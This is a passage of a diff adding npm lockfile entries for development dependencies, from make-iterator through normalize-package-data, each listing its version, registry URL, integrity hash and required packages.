"https://registry.npmjs.org/make-iterator/-/make-iterator-1.0.1.tgz", + "integrity": "sha512-pxiuXh0iVEq7VM7KMIhs5gxsfxCux2URptUQaXo4iZZJxBAzTPOLE2BumO5dbfVYq/hBJFBR/a1mFDmOx5AGmw==", + "dev": true, + "requires": { + "kind-of": "^6.0.2" + } + }, + "map-cache": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/map-cache/-/map-cache-0.2.2.tgz", + "integrity": "sha512-8y/eV9QQZCiyn1SprXSrCmqJN0yNRATe+PO8ztwqrvrbdRLA3eYJF0yaR0YayLWkMbsQSKWS9N2gPcGEc4UsZg==", + "dev": true + }, + "map-stream": { + "version": "0.0.7", + "resolved": "https://registry.npmjs.org/map-stream/-/map-stream-0.0.7.tgz", + "integrity": "sha512-C0X0KQmGm3N2ftbTGBhSyuydQ+vV1LC3f3zPvT3RXHXNZrvfPZcoXp/N5DOa8vedX/rTMm2CjTtivFg2STJMRQ==", + "dev": true + }, + "map-visit": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/map-visit/-/map-visit-1.0.0.tgz", + "integrity": "sha512-4y7uGv8bd2WdM9vpQsiQNo41Ln1NvhvDRuVt0k2JZQ+ezN2uaQes7lZeZ+QQUHOLQAtDaBJ+7wCbi+ab/KFs+w==", + "dev": true, + "requires": { + "object-visit": "^1.0.0" + } + }, + "markdown-it": { + "version": "10.0.0", + "resolved": "https://registry.npmjs.org/markdown-it/-/markdown-it-10.0.0.tgz", + "integrity": "sha512-YWOP1j7UbDNz+TumYP1kpwnP0aEa711cJjrAQrzd0UXlbJfc5aAq0F/PZHjiioqDC1NKgvIMX+o+9Bk7yuM2dg==", + "dev": true, + "requires": { + "argparse": "^1.0.7", + "entities": "~2.0.0", + "linkify-it": "^2.0.0", + "mdurl": "^1.0.1", + "uc.micro": "^1.0.5" + }, + "dependencies": { + "argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "dev": true, + "requires": { + "sprintf-js": "~1.0.2" + } + } + } + }, + "markdown-it-anchor": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/markdown-it-anchor/-/markdown-it-anchor-5.3.0.tgz", + "integrity": "sha512-/V1MnLL/rgJ3jkMWo84UR+K+jF1cxNG1a+KwqeXqTIJ+jtA8aWSHuigx8lTzauiIjBDbwF3NcWQMotd0Dm39jA==", + "dev": true, + "requires": {} + }, + "marked": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/marked/-/marked-2.1.3.tgz", + "integrity": "sha512-/Q+7MGzaETqifOMWYEA7HVMaZb4XbcRfaOzcSsHZEith83KGlvaSG33u0SKu89Mj5h+T8V2hM+8O45Qc5XTgwA==", + "dev": true + }, + "matchdep": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/matchdep/-/matchdep-2.0.0.tgz", + "integrity": "sha512-LFgVbaHIHMqCRuCZyfCtUOq9/Lnzhi7Z0KFUE2fhD54+JN2jLh3hC02RLkqauJ3U4soU6H1J3tfj/Byk7GoEjA==", + "dev": true, + "requires": { + "findup-sync": "^2.0.0", + "micromatch": "^3.0.4", + "resolve": "^1.4.0", + "stack-trace": "0.0.10" + }, + "dependencies": { + "define-property": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz", + "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==", + "dev": true, + "requires": { + "is-descriptor": "^1.0.2", + "isobject": "^3.0.1" + } + }, + "extend-shallow": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz", + "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==", + "dev": true, + "requires": { + "assign-symbols": "^1.0.0", + "is-extendable": "^1.0.1" + } + }, + "findup-sync": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/findup-sync/-/findup-sync-2.0.0.tgz", + "integrity": "sha512-vs+3unmJT45eczmcAZ6zMJtxN3l/QXeccaXQx5cu/MeJMhewVfoWZqibRkOxPnmoR59+Zy5hjabfQc6JLSah4g==", + "dev": true, + "requires": { + "detect-file": "^1.0.0", + "is-glob": "^3.1.0", + "micromatch": "^3.0.4", + "resolve-dir": "^1.0.1" + } + }, + "is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "dev": true, + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "dev": true, + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dev": true, + "requires": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + } + }, + "is-extendable": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", + "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", + "dev": true, + "requires": { + "is-plain-object": "^2.0.4" + } + }, + "is-glob": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-3.1.0.tgz", + "integrity": "sha512-UFpDDrPgM6qpnFNI+rh/p3bUaq9hKLZN8bMUWzxmcnZVS3omf4IPK+BrewlnWjO1WmUsMYuSjKh4UJuV4+Lqmw==", + "dev": true, + "requires": { + "is-extglob": "^2.1.0" + } + }, + "micromatch": { + "version": "3.1.10", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", + "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", + "dev": true, + "requires": { + "arr-diff": "^4.0.0", + "array-unique": "^0.3.2", + "braces": "^2.3.1", + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "extglob": "^2.0.4", + "fragment-cache": "^0.2.1", + "kind-of": "^6.0.2", + "nanomatch": "^1.2.9", + "object.pick": "^1.3.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.2" + } + } + } + }, + "mdurl": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/mdurl/-/mdurl-1.0.1.tgz", + "integrity": "sha512-/sKlQJCBYVY9Ers9hqzKou4H6V5UWc/M59TH2dvkt+84itfnq7uFOMLpOiOS4ujvHP4etln18fmIxA5R5fll0g==", + "dev": true + }, + "memory-fs": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/memory-fs/-/memory-fs-0.5.0.tgz", + "integrity": "sha512-jA0rdU5KoQMC0e6ppoNRtpp6vjFq6+NY7r8hywnC7V+1Xj/MtHwGIbB1QaK/dunyjWteJzmkpd7ooeWg10T7GA==", + "dev": true, + "requires": { + "errno": "^0.1.3", + "readable-stream": "^2.0.1" + } + }, + "merge-stream": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", + "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==", + "dev": true, + "peer": true + }, + "merge2": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "dev": true + }, + "micromatch": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz", + "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==", + "dev": true, + "requires": { + "braces": "^3.0.2", + "picomatch": "^2.3.1" + }, + "dependencies": { + "braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "requires": { + "fill-range": "^7.0.1" + } + }, + "fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "requires": { + "to-regex-range": "^5.0.1" + } + }, + "is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true + }, + "to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "requires": { + "is-number": "^7.0.0" + } + } + } + }, + "mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "dev": true + }, + "mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "dev": true, + "requires": { + "mime-db": "1.52.0" + } + }, + "minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, + "requires": { + "brace-expansion": "^1.1.7" + } + }, + "mixin-deep": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/mixin-deep/-/mixin-deep-1.3.2.tgz", + "integrity": "sha512-WRoDn//mXBiJ1H40rqa3vH0toePwSsGb45iInWlTySa+Uu4k3tYUSxa2v1KqAiLtvlrSzaExqS1gtk96A9zvEA==", + "dev": true, + "requires": { + "for-in": "^1.0.2", + "is-extendable": "^1.0.1" + }, + "dependencies": { + "is-extendable": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", + "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", + "dev": true, + "requires": { + "is-plain-object": "^2.0.4" + } + } + } + }, + "mkdirp": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz", + "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==", + "dev": true + }, + "mocha": { + "version": "9.1.2", + "resolved": "https://registry.npmjs.org/mocha/-/mocha-9.1.2.tgz", + "integrity": "sha512-ta3LtJ+63RIBP03VBjMGtSqbe6cWXRejF9SyM9Zyli1CKZJZ+vfCTj3oW24V7wAphMJdpOFLoMI3hjJ1LWbs0w==", + "dev": true, + "requires": { + "@ungap/promise-all-settled": "1.1.2", + "ansi-colors": "4.1.1", + "browser-stdout": "1.3.1", + "chokidar": "3.5.2", + "debug": "4.3.2", + "diff": "5.0.0", + "escape-string-regexp": "4.0.0", + "find-up": "5.0.0", + "glob": "7.1.7", + "growl": "1.10.5", + "he": "1.2.0", + "js-yaml": "4.1.0", + "log-symbols": "4.1.0", + "minimatch": "3.0.4", + "ms": "2.1.3", + "nanoid": "3.1.25", + "serialize-javascript": "6.0.0", + "strip-json-comments": "3.1.1", + "supports-color": "8.1.1", + "which": "2.0.2", + "workerpool": "6.1.5", + "yargs": "16.2.0", + "yargs-parser": "20.2.4", + "yargs-unparser": "2.0.0" + }, + "dependencies": { + "ansi-colors": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-4.1.1.tgz", + "integrity": "sha512-JoX0apGbHaUJBNl6yF+p6JAFYZ666/hhCGKN5t9QFjbJQKUU/g8MNbFDbvfrgKXvI1QpZplPOnwIo99lX/AAmA==", + "dev": true + }, + "anymatch": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "dev": true, + "requires": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + } + }, + "binary-extensions": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", + "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", + "dev": true + }, + "braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "requires": { + "fill-range": "^7.0.1" + } + }, + "chokidar": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.2.tgz", + "integrity": "sha512-ekGhOnNVPgT77r4K/U3GDhu+FQ2S8TnK/s2KbIGXi0SZWuwkZ2QNyfWdZW+TVfn84DpEP7rLeCt2UI6bJ8GwbQ==", + "dev": true, + "requires": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "fsevents": "~2.3.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + } + }, + "debug": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.2.tgz", + "integrity": "sha512-mOp8wKcvj7XxC78zLgw/ZA+6TSgkoE2C/ienthhRD298T7UNwAg9diBpLRxC0mOezLl4B0xV7M0cCO6P/O0Xhw==", + "dev": true, + "requires": { + "ms": "2.1.2" + }, + "dependencies": { + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + } + } + }, + "fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "requires": { + "to-regex-range": "^5.0.1" + } + }, + "fsevents": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", + "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", + "dev": true, + "optional": true + }, + "glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "requires": { + "is-glob": "^4.0.1" + } + }, + "is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "requires": { + "binary-extensions": "^2.0.0" + } + }, + "is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true + }, + "minimatch": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", + "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==", + "dev": true, + "requires": { + "brace-expansion": "^1.1.7" + } + }, + "ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "dev": true + }, + "readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dev": true, + "requires": { + "picomatch": "^2.2.1" + } + }, + "supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "dev": true, + "requires": { + "has-flag": "^4.0.0" + } + }, + "to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "requires": { + "is-number": "^7.0.0" + } + }, + "yargs": { + "version": "16.2.0", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz", + "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==", + "dev": true, + "requires": { + "cliui": "^7.0.2", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.0", + "y18n": "^5.0.5", + "yargs-parser": "^20.2.2" + } + } + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + }, + "mute-stdout": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/mute-stdout/-/mute-stdout-1.0.1.tgz", + "integrity": "sha512-kDcwXR4PS7caBpuRYYBUz9iVixUk3anO3f5OYFiIPwK/20vCzKCHyKoulbiDY1S53zD2bxUpxN/IJ+TnXjfvxg==", + "dev": true + }, + "mz": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/mz/-/mz-2.7.0.tgz", + "integrity": "sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==", + "dev": true, + "requires": { + "any-promise": "^1.0.0", + "object-assign": "^4.0.1", + "thenify-all": "^1.0.0" + } + }, + "nan": { + "version": "2.17.0", + "resolved": "https://registry.npmjs.org/nan/-/nan-2.17.0.tgz", + "integrity": "sha512-2ZTgtl0nJsO0KQCjEpxcIr5D+Yv90plTitZt9JBfQvVJDS5seMl3FOvsh3+9CoYWXf/1l5OaZzzF6nDm4cagaQ==", + "dev": true, + "optional": true + }, + "nanoid": { + "version": "3.1.25", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.1.25.tgz", + "integrity": "sha512-rdwtIXaXCLFAQbnfqDRnI6jaRHp9fTcYBjtFKE8eezcZ7LuLjhUaQGNeMXf1HmRoCH32CLz6XwX0TtxEOS/A3Q==", + "dev": true + }, + "nanomatch": { + "version": "1.2.13", + "resolved": "https://registry.npmjs.org/nanomatch/-/nanomatch-1.2.13.tgz", + "integrity": "sha512-fpoe2T0RbHwBTBUOftAfBPaDEi06ufaUai0mE6Yn1kacc3SnTErfb/h+X94VXzI64rKFHYImXSvdwGGCmwOqCA==", + "dev": true, + "requires": { + "arr-diff": "^4.0.0", + "array-unique": "^0.3.2", + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "fragment-cache": "^0.2.1", + "is-windows": "^1.0.2", + "kind-of": "^6.0.2", + "object.pick": "^1.3.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + }, + "dependencies": { + "define-property": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz", + "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==", + "dev": true, + "requires": { + "is-descriptor": "^1.0.2", + "isobject": "^3.0.1" + } + }, + "extend-shallow": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz", + "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==", + "dev": true, + "requires": { + "assign-symbols": "^1.0.0", + "is-extendable": "^1.0.1" + } + }, + "is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "dev": true, + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "dev": true, + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dev": true, + "requires": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + } + }, + "is-extendable": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", + "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", + "dev": true, + "requires": { + "is-plain-object": "^2.0.4" + } + } + } + }, + "natural-compare": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", + "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==", + "dev": true + }, + "neo-async": { + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz", + "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==", + "dev": true, + "peer": true + }, + "next-tick": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/next-tick/-/next-tick-1.1.0.tgz", + "integrity": "sha512-CXdUiJembsNjuToQvxayPZF9Vqht7hewsvy2sOWafLvi2awflj9mOC6bHIg50orX8IJvWKY9wYQ/zB2kogPslQ==", + "dev": true + }, + "nise": { + "version": "5.1.4", + "resolved": "https://registry.npmjs.org/nise/-/nise-5.1.4.tgz", + "integrity": "sha512-8+Ib8rRJ4L0o3kfmyVCL7gzrohyDe0cMFTBa2d364yIrEGMEoetznKJx899YxjybU6bL9SQkYPSBBs1gyYs8Xg==", + "dev": true, + "requires": { + "@sinonjs/commons": "^2.0.0", + "@sinonjs/fake-timers": "^10.0.2", + "@sinonjs/text-encoding": "^0.7.1", + "just-extend": "^4.0.2", + "path-to-regexp": "^1.7.0" + }, + "dependencies": { + "@sinonjs/commons": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-2.0.0.tgz", + "integrity": "sha512-uLa0j859mMrg2slwQYdO/AkrOfmH+X6LTVmNTS9CqexuE2IvVORIkSpJLqePAbEnKJ77aMmCwr1NUZ57120Xcg==", + "dev": true, + "requires": { + "type-detect": "4.0.8" + } + }, + "@sinonjs/fake-timers": { + "version": "10.3.0", + "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-10.3.0.tgz", + "integrity": "sha512-V4BG07kuYSUkTCSBHG8G8TNhM+F19jXFWnQtzj+we8DrkpSBCee9Z3Ms8yiGer/dlmhe35/Xdgyo3/0rQKg7YA==", + "dev": true, + "requires": { + "@sinonjs/commons": "^3.0.0" + }, + "dependencies": { + "@sinonjs/commons": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-3.0.0.tgz", + "integrity": "sha512-jXBtWAF4vmdNmZgD5FoKsVLv3rPgDnLgPbU84LIJ3otV44vJlDRokVng5v8NFJdCf/da9legHcKaRuZs4L7faA==", + "dev": true, + "requires": { + "type-detect": "4.0.8" + } + } + } + } + } + }, + "no-case": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/no-case/-/no-case-2.3.2.tgz", + "integrity": "sha512-rmTZ9kz+f3rCvK2TD1Ue/oZlns7OGoIWP4fc3llxxRXlOkHKoWPPWJOfFYpITabSow43QJbRIoHQXtt10VldyQ==", + "dev": true, + "requires": { + "lower-case": "^1.1.1" + } + }, + "node-preload": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/node-preload/-/node-preload-0.2.1.tgz", + "integrity": "sha512-RM5oyBy45cLEoHqCeh+MNuFAxO0vTFBLskvQbOKnEE7YTTSN4tbN8QWDIPQ6L+WvKsB/qLEGpYe2ZZ9d4W9OIQ==", + "dev": true, + "requires": { + "process-on-spawn": "^1.0.0" + } + }, + "node-releases": { + "version": "2.0.13", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.13.tgz", + "integrity": "sha512-uYr7J37ae/ORWdZeQ1xxMJe3NtdmqMC/JZK+geofDrkLUApKRHPd18/TxtBOJ4A0/+uUIliorNrfYV6s1b02eQ==", + "dev": true + }, + "normalize-package-data": { + "version": "2.5.0", + "resolved": 